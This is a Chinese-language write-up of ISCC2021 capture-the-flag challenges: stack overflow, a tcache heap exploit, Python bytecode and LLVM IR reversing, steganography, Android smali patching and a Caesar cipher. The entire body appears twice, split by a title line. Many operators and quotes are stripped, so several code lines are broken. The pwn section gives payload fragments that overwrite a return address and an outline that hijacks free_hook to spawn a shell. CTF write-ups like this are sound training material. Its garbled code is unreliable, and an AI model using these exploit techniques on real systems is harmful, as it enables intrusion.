1. Pwn赛题实战解析从栈溢出到堆利用Pwn方向一直是CTF比赛中技术含量最高的赛道之一ISCC2021的Pwn题目涵盖了栈溢出、堆漏洞利用等经典题型。我们先来看M78这道典型的栈溢出题目。题目中的check函数存在明显的缓冲区溢出漏洞char *__cdecl check(char *s) { char dest[11]; // 只分配了11字节的缓冲区 v3 strlen(s); if ( v3 7 ) { v4 strcpy(dest, s); // 可能造成dest溢出 } }这个漏洞的巧妙之处在于利用了char类型截断的特性。虽然输入长度可以达到0x199但通过构造0x107长度的输入使得v3被截断为7既通过了长度检查又触发了溢出。最终的exp构造需要覆盖返回地址到后门函数payload b0*(0x184) p32(call_addr) payload payload.ljust(0x107,bc) b\0堆题目box则考察了更高级的利用技巧。题目使用了libc 2.27版本这个版本的tcache存在double free漏洞且没有完整性检查。我们通过以下步骤完成利用连续释放7个chunk填满tcache释放第8个chunk进入unsorted bin通过UAF泄露main_arena地址计算libc基址修改free_hook为system地址释放包含/bin/sh的chunk获取shell_add(0,0x80,11) # 分配chunk _remove(0) # 释放chunk _view(0) # 泄露地址 _edit(1,p64(free_hook_addr)) # 修改fd指针2. RE逆向工程从Python字节码到LLVM IR逆向工程题目往往需要选手快速理解各种语言的编译产物。garden题目提供了一个Python 2.7的pyc文件我们可以使用uncompyle6工具进行反编译。关键check函数使用了异或校验def check(s): f 2(88\x006\x1a\x10\x10\x1aIKIJ\x1a\x10\x10\x1a\x06 for a, b in zip(f, s): checksum ord(b) ^ ord(a) ^ 123 return checksum 0通过分析可知flag就是密文字节与123异或的结果flag .join([chr(ord(i) ^ 123) for i in f])最有趣的当属汇编大人时代变了这道题它使用了LLVM IR中间语言。我们需要先用llc命令将其编译为可分析的目标文件llc -filetypeobj task.ll在IDA中可以看到核心算法是异或加密for ( i 0; i strlen(s); i ) { v4 s[i]; s[i] v4 ^ secret[i % strlen(secret)]; }通过动态调试和算法逆向最终还原出flag格式为ISCC{mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!_}3. MISC杂项技巧从散点图到音频隐写杂项题目考察选手的综合能力。Retrieve the passcode题目给出了一个scatter.txt文件里面记录了大量三维坐标点。通过分析发现这些点可以绘制出数字图形import matplotlib.pyplot as plt plt.scatter(x_coords, y_coords) # 绘制散点图 plt.show()运行后显示的图形组合起来是365728这正是解压computer.rar的密码。解压后得到的PDF中包含摩斯密码解密后得到flag。我的折扣是多少这道题则设计了多层次的解谜过程运行give.exe得到Unicode编码的pass1\u006b\u0072\u0077 → krw分析me.zip发现Base64编码的pass2gcc666组合密码解压得到提示youfoundme?使用MP3Stego工具解密音频文件mp3stego -D -P youfoundme? -X discount.mp3最后对得到的Base32字符串解码获得最终flag4. 移动安全与密码学实战Mobile Easy题目展示了一个简单的AES-ECB模式加密from Crypto.Cipher import AES aes AES.new(key, AES.MODE_ECB) msg aes.decrypt(base64.b64decode(str2))题目中的字符串处理逻辑需要仔细跟踪str3 for x in range(7,256,8): if x%9 8: break str3 chr(1003) # g str3 chr(100^0x5d) # !Mobile Normal则涉及Android逆向工程关键点在于分析JNI本地方法public native String getPart3();通过修改smali代码可以直接输出flaginvoke-direct {p0}, getFlag()Ljava/lang/String; move-result-object v2 invoke-virtual {v0, v2}, setText(Ljava/lang/CharSequence;)小明的表情包这道密码学题目需要先解凯撒密码AVARGRRA AVARGL AVAR → NINETEEN NINETY NINE → 1999年然后用日期格式爆破压缩包密码07071999最后修复损坏的图片文件头获得flag。
ISCC2021 CTF挑战赛:Pwn、RE与MISC赛题深度解析
1. Pwn赛题实战解析从栈溢出到堆利用Pwn方向一直是CTF比赛中技术含量最高的赛道之一ISCC2021的Pwn题目涵盖了栈溢出、堆漏洞利用等经典题型。我们先来看M78这道典型的栈溢出题目。题目中的check函数存在明显的缓冲区溢出漏洞char *__cdecl check(char *s) { char dest[11]; // 只分配了11字节的缓冲区 v3 strlen(s); if ( v3 7 ) { v4 strcpy(dest, s); // 可能造成dest溢出 } }这个漏洞的巧妙之处在于利用了char类型截断的特性。虽然输入长度可以达到0x199但通过构造0x107长度的输入使得v3被截断为7既通过了长度检查又触发了溢出。最终的exp构造需要覆盖返回地址到后门函数payload b0*(0x184) p32(call_addr) payload payload.ljust(0x107,bc) b\0堆题目box则考察了更高级的利用技巧。题目使用了libc 2.27版本这个版本的tcache存在double free漏洞且没有完整性检查。我们通过以下步骤完成利用连续释放7个chunk填满tcache释放第8个chunk进入unsorted bin通过UAF泄露main_arena地址计算libc基址修改free_hook为system地址释放包含/bin/sh的chunk获取shell_add(0,0x80,11) # 分配chunk _remove(0) # 释放chunk _view(0) # 泄露地址 _edit(1,p64(free_hook_addr)) # 修改fd指针2. RE逆向工程从Python字节码到LLVM IR逆向工程题目往往需要选手快速理解各种语言的编译产物。garden题目提供了一个Python 2.7的pyc文件我们可以使用uncompyle6工具进行反编译。关键check函数使用了异或校验def check(s): f 2(88\x006\x1a\x10\x10\x1aIKIJ\x1a\x10\x10\x1a\x06 for a, b in zip(f, s): checksum ord(b) ^ ord(a) ^ 123 return checksum 0通过分析可知flag就是密文字节与123异或的结果flag .join([chr(ord(i) ^ 123) for i in f])最有趣的当属汇编大人时代变了这道题它使用了LLVM IR中间语言。我们需要先用llc命令将其编译为可分析的目标文件llc -filetypeobj task.ll在IDA中可以看到核心算法是异或加密for ( i 0; i strlen(s); i ) { v4 s[i]; s[i] v4 ^ secret[i % strlen(secret)]; }通过动态调试和算法逆向最终还原出flag格式为ISCC{mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!_}3. MISC杂项技巧从散点图到音频隐写杂项题目考察选手的综合能力。Retrieve the passcode题目给出了一个scatter.txt文件里面记录了大量三维坐标点。通过分析发现这些点可以绘制出数字图形import matplotlib.pyplot as plt plt.scatter(x_coords, y_coords) # 绘制散点图 plt.show()运行后显示的图形组合起来是365728这正是解压computer.rar的密码。解压后得到的PDF中包含摩斯密码解密后得到flag。我的折扣是多少这道题则设计了多层次的解谜过程运行give.exe得到Unicode编码的pass1\u006b\u0072\u0077 → krw分析me.zip发现Base64编码的pass2gcc666组合密码解压得到提示youfoundme?使用MP3Stego工具解密音频文件mp3stego -D -P youfoundme? -X discount.mp3最后对得到的Base32字符串解码获得最终flag4. 移动安全与密码学实战Mobile Easy题目展示了一个简单的AES-ECB模式加密from Crypto.Cipher import AES aes AES.new(key, AES.MODE_ECB) msg aes.decrypt(base64.b64decode(str2))题目中的字符串处理逻辑需要仔细跟踪str3 for x in range(7,256,8): if x%9 8: break str3 chr(1003) # g str3 chr(100^0x5d) # !Mobile Normal则涉及Android逆向工程关键点在于分析JNI本地方法public native String getPart3();通过修改smali代码可以直接输出flaginvoke-direct {p0}, getFlag()Ljava/lang/String; move-result-object v2 invoke-virtual {v0, v2}, setText(Ljava/lang/CharSequence;)小明的表情包这道密码学题目需要先解凯撒密码AVARGRRA AVARGL AVAR → NINETEEN NINETY NINE → 1999年然后用日期格式爆破压缩包密码07071999最后修复损坏的图片文件头获得flag。